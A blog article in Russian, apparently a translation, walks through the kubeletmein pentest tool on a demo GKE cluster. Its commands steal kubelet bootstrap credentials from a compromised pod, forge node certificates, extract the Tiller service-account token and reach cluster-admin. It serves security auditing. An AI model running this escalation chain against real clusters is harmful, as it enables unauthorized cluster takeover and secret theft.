Kubeletmein – простая утилита для автоматизации техник, связанных с эксплуатацией протокола TLS агента kubelet
Автор: Marc Wickenden
Kubeletmein – простая утилита для автоматизации техник, связанных с эксплуатацией протокола TLS агента kubelet, и расширения привилегий внутри кластера на базе Kubernetes.
Чтобы понять предысторию вопроса, рекомендую ознакомиться со статьей «Kubelet hacking on GKE».
Введение
Kubeletmein представляет собой одиночный бинарный файл, который вы можете загрузить в скомпрометированную рабочую единицу (pod) кластера на базе GKE (Google Kubernetes Engine) для чтения атрибутов экземпляра метаданных, генерации и отправки CSR (certificate signing request; запрос на получение сертификата). Будет сформирован файл kubeconfig, который вы можете использовать при работе с командой kubectl. Демонстрируемая утилита экономит массу времени по сравнению с тем, если бы вы работали с curl и openssl, которых, к тому же, может не оказаться в скомпрометированном контейнере.
Исходный код и скомпилированные релизы находятся по адресу https://github.com/4armed/kubeletmein. Внесение изменений и pull-запросы также приветствуется.
Установка демонстрационного кластера
Вначале по-быстрому развернем кластер на базе Google Kubernetes Engine. Предполагается, что у вас есть аккаунт в Google Cloud с включенным биллингом, проект настроен, и учетная запись активирована на рабочей станции. В противном случае сначала сходите по адресу https://cloud.google.com/. У этого сервиса предусмотрено щедрое кредитное предложение, если вы хотите опробовать технологию.
Если в Cloud Console вы одобрили настройки, используемые по умолчанию для стандартного кластера, то без проблем должны оказаться в командной строке. Я изменил только следующее:
Отключена базовая HTTP-аутентификация.
Отключены клиентские сертификаты.
Включено авто масштабирование при помощи пула узлов (минимум 1, максимум 3).
Включено использование выгружаемых узлов.
Для создания и активации кластера используем следующую команду:
$gcloud beta container clusters create
"cluster0"--zone
"us-central1-a"--no-enable-basic-auth --cluster-version
"1.9.7-gke.11"--machine-type
"n1-standard-1"--image-type
"COS"--disk-type
"pd-standard"--disk-size
"100"--scopes
"https://www.googleapis.com/auth/compute",
"https://www.googleapis.com/auth/devstorage.read_only",
"https://www.googleapis.com/auth/logging.write",
"https://www.googleapis.com/auth/monitoring",
"https://www.googleapis.com/auth/servicecontrol",
"https://www.googleapis.com/auth/service.management.readonly",
"https://www.googleapis.com/auth/trace.append"--preemptible --num-nodes
"1"--enable-cloud-logging --enable-cloud-monitoring --no-enable-ip-alias --network
"default"--subnetwork
"default"--enable-autoscaling --min-nodes
"1"--max-nodes
"3"--addons HorizontalPodAutoscaling,HttpLoadBalancing,KubernetesDashboard --enable-autoupgrade --enable-autorepair
Кластер работает.
Creating cluster cluster0 in us-central1-a...done.
kubeconfig entry generated for cluster0.
NAME LOCATION MASTER_VERSION MASTER_IP MACHINE_TYPE NODE_VERSION NUM_NODES STATUS
cluster0 us-central1-a 1.9.7-gke.11 35.188.62.53 n1-standard-1 1.9.7-gke.11 3 RUNNING
Чтобы сделать нашу жизнь более интересной и наметить цель для атаки, установим менеджер пакетов Helm. Более подробная инструкция по установке доступна по адресу https://docs.helm.sh/using_helm/#installing-helm. Я лишь по-быстрому установил права RBAC (Role-based-access-control; управление доступом на основе ролей) и компонент Tiller.
$ kubectl create -f -
<<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: tiller
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: tiller
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: tiller
namespace: kube-system
EOF
serviceaccount
"tiller"created
clusterrolebinding.rbac.authorization.k8s.io
"tiller"created
Установка Tiller:
$ helm init --service-account tiller
Tiller
(the Helm server-side component
)has been installed into your Kubernetes Cluster.
Please note: by default, Tiller is deployed with an insecure
'allow unauthenticated users'policy.
To prevent this, run
`helm init
`with the --tiller-tls-verify flag.
For more information on securing your installation see: https://docs.helm.sh/using_helm/#securing-your-helm-installation
Happy
Helming
!
Обратите внимание на надпись выше и никогда не делайте подобную конфигурацию в реальной системе. Всегда используйте протокол TLS, а иначе вероятность того, что ваш кластер окажется скомпрометированным, увеличится во много раз. Мы делаем такие настройки исключительно в демонстрационной среде. Стоит также отметить, что TLS не сможет защитить от того, что мы собираемся делать.
После того как все установлено, приступаем к тестированию утилиты kubeletmein.
Загрузка и запуск kubeletmein
Запускаем контейнер в нашем кластере и приступаем к эксплуатации учетной записи, используемой kubelet, при помощи kubeletmein. В Alpine Linux все работает прекрасно.
$kubectl run -ti --image
=alpine --attach alpine -- sh
If you don
't see a command prompt, try pressing enter.
$
Небольшое замечание. По умолчанию после запуска команды выше вы окажетесь в командной строке с символом # (то есть с правами суперпользователя). Я изменил эту настройку, поскольку в противном случае синтаксис кода на Bash будет подсвечивать все команды как комментарий.
Скачиваем kubectl для использования в дальнейшем.
$wget https://storage.googleapis.com/kubernetes-release/release/
$(wget -q -O - https://storage.googleapis.com/kubernetes-release/release/stable.txt
)/
bin/linux/amd64/kubectl -O /usr/local/bin/kubectl
&&chmod +x /usr/local/bin/kubectl
Connecting to storage.googleapis.com
(108.177.112.128:443
)
kubectl 100% |
*********************************************************************************************************************************| 38295k 0:00:00 ETA
Теперь скачиваем kubeletmein. Последняя версия на момент написания статьи - 0.5.3.
$wget https://github.com/4ARMED/kubeletmein/releases/download/v0.5.3/kubeletmein_0.5.3_linux_amd64 -O /usr/local/bin/kubeletmein
&&chmod +x /usr/local/bin/kubeletmein
Connecting to github.com
(192.30.253.112:443
)
Connecting to github-production-release-asset-2e65be.s3.amazonaws.com
(52.216.138.12:443
)
kubeletmein 100% |
*********************************************************************************************************************************| 21762k 0:00:00 ETA
Первым делом создаем файл bootstrap-kubeconfig, который содержит ключ/сертификат для kubelet из kube-env.
$ kubeletmein gke bootstrap
2018-12-06T13:43:26Z
[ℹ
] writing ca cert to: ca-certificates.crt
2018-12-06T13:43:26Z
[ℹ
] writing kubelet cert to: kubelet.crt
2018-12-06T13:43:26Z
[ℹ
] writing kubelet key to: kubelet.key
2018-12-06T13:43:26Z
[ℹ
] generating bootstrap-kubeconfig file at: bootstrap-kubeconfig
2018-12-06T13:43:26Z
[ℹ
] wrote bootstrap-kubeconfig
2018-12-06T13:43:26Z
[ℹ
] now generate a new node certificate with: kubeletmein gke generate
Если захотите, то можете ознакомиться с содержимым созданного файла, который по умолчанию называется bootstrap-kubeconfig. При желании можно переопределить этот файл при помощи флага –b.
Теперь генерируем новый сертификат. На данный момент мы не знаем имена узлов внутри кластера, поэтому в качестве имени узла указываем «anything».
$ kubeletmein gke generate -n anything
2018-12-06T13:45:24Z
[ℹ
] using bootstrap-config to request new cert
fornode: anything
2018-12-06T13:45:24Z
[ℹ
] got new cert and wrote kubeconfig
2018-12-06T13:45:24Z
[ℹ
] now try: kubectl --kubeconfig kubeconfig get pods
Теперь
в текущей директории у нас появился файл
kubeconfig с доступом system:nodes на базе сертификата из директории ./pki. Пробуем.
$ kubectl --kubeconfig kubeconfig get pods
NAME READY STATUS RESTARTS AGE
alpine-5498978876-66bbs 1/1 Running 2 35m
Взлом Helm через учетную запись, используемую kubelet
Как было упомянуто в предыдущей статье, теперь мы можем получить секреты, но только для узлов, для которых есть сертификат. И здесь утилита kubeletmein значительно ускоряет весь процесс, поскольку генерирует и отправляет csr, а также создает файл kubeconfig.
Ищем местонахождение секрета токена для служебной учетной записи в Tiller.
$kubectl --kubeconfig kubeconfig get pods -l
app=helm,name
=tiller -n kube-system -o wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
tiller-deploy-5c99b8bcbf-w7xq5 1/1 Running 0 18m 10.36.1.8 gke-cluster0-default-pool-eb80ec96-9n9f <none> <none>
По результатам выше видно, что Tiller установлен на узле gke-cluster0-default-pool-eb80ec96-9n9f, и нам понадобится соответствующий сертификат узла.
Вначале удаляем текущие сертификаты из директории ./
pki
(используемые по умолчанию).
$ rm
pki
/
kubelet
-
client
-
*
Генерируем новый сертификат.
$ kubeletmein gke generate -n gke-cluster0-default-pool-eb80ec96-9n9f
2018-12-06T13:56:34Z
[ℹ
] using bootstrap-config to request new cert
fornode: gke-cluster0-default-pool-eb80ec96-9n9f
2018-12-06T13:56:34Z
[ℹ
] got new cert and wrote kubeconfig
2018-12-06T13:56:34Z
[ℹ
] now try: kubectl --kubeconfig kubeconfig get pods
Мы только создали новый файл kubeconfig. Теперь можно приступать к чтению секретов из узла gke
-
cluster
0-
default
-
pool
-
eb
80
ec
96-9
n
9
f
.
$kubectl --kubeconfig kubeconfig -n kube-system get pod tiller-deploy-5c99b8bcbf-w7xq5 -o
jsonpath='{.spec.volumes[0].secret.secretName}{"\n"}'
tiller-token-mr4df
$ kubectl --kubeconfig kubeconfig -n kube-system get secret tiller-token-mr4df -o yaml
apiVersion: v1
data:
ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURDekNDQWZPZ0F3SUJBZ0lR[..]SUNBVEUtLS0tLQo
=
namespace:
a3ViZS1zeXN0ZW0=
token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnBjM01pT2lKcmRXSmxjbTVsZEdW[..]dDFZbVV0YzNsemRHVnRPblJwYkd4bGNpSjkuTFpoRnNrUENZYVg2cWlhVDBTeElkRmZGWm9xSDR3eGIxdHhCWkt1UUF0QXpNWGtLaDV0Tnk4MGFOdWRxU0RibTZyNXVhZ21JU2xDejl3VVdrY3lzeVU2dkFWLUdRcWtmVDV4cHIxQy04dUJYZ3pxSmRvM19HZldGVUpfcnZnZTFkd3Y4MW5IcGtuOWV5RGczeWY1SENWYy03LWN1RnRUdHRQU3lqQ2ppLVB1ZnQwZXpkb1h0WmpjcUFXakg0dXgtdXh4TjJRM21tU01sVkFzZGpNQy1zUmk5Y0otTW8wWEc0V0Nab3NTRF9vaHhLZ3pfWmhNd3Q5MnRDRHpUcFkzR1V6NWxVTmZLeTY2NzhTcEZwMVF4YjZWVTJybXd6anQyMHQwXy1weWFMZHJtRHlLdEpEc2NnZ2xHMm1aUFdMZjBUUjdxdUc5NFZYbGNkam9Zd0V3aFVB
kind: Secret
metadata:
annotations:
kubernetes.io/service-account.name: tiller
kubernetes.io/service-account.uid: 9cba9310-f95b-11e8-a788-42010a800192
creationTimestamp:
"2018-12-06T13:34:10Z"
name: tiller-token-mr4df
namespace: kube-system
resourceVersion:
"4240"
selfLink: /api/v1/namespaces/kube-system/secrets/tiller-token-mr4df
uid: 9cbc8029-f95b-11e8-a788-42010a800192
type: kubernetes.io/service-account-token
Теперь мы получили секретный объект. Токен, как и все секреты в Kubernetes, представлены в кодировке base64.
Берем токен и декодируем в файл.
$kubectl --kubeconfig kubeconfig -n kube-system get secret tiller-token-mr4df -o
jsonpath='{.data.token}'| base64 -d > tiller-token
Полученный токен можно использовать для доступа к API с привилегиями служебного аккаунта tiller.
$kubectl --certificate-authority ca-certificates.crt --token
`cat tiller-token
`--server https://
${KUBERNETES_PORT_443_TCP_ADDR}get secrets
NAME TYPE DATA AGE
default-token-cfbb5 kubernetes.io/service-account-token 3 66m
peeking-cardinal-mysql Opaque 2 28m
Заключение
Мы стали админом кластера с ролью cluster-admin. Результат неплохой с учетом того, что изначально у нас был непривилегированный контейнер и не использовался openssl.
Kubeletmein реализован для ускорения аудитов безопасности для кластеров на базе Kubernetes. Мы используем это приложения для выполнения пентестов.
Методы защиты от подобного рода атак относительно просты. За подробностями обращайтесь к нашей статье «Kubelet hacking on GKE».
Разбираем кейсы, делимся опытом, учимся на чужих ошибках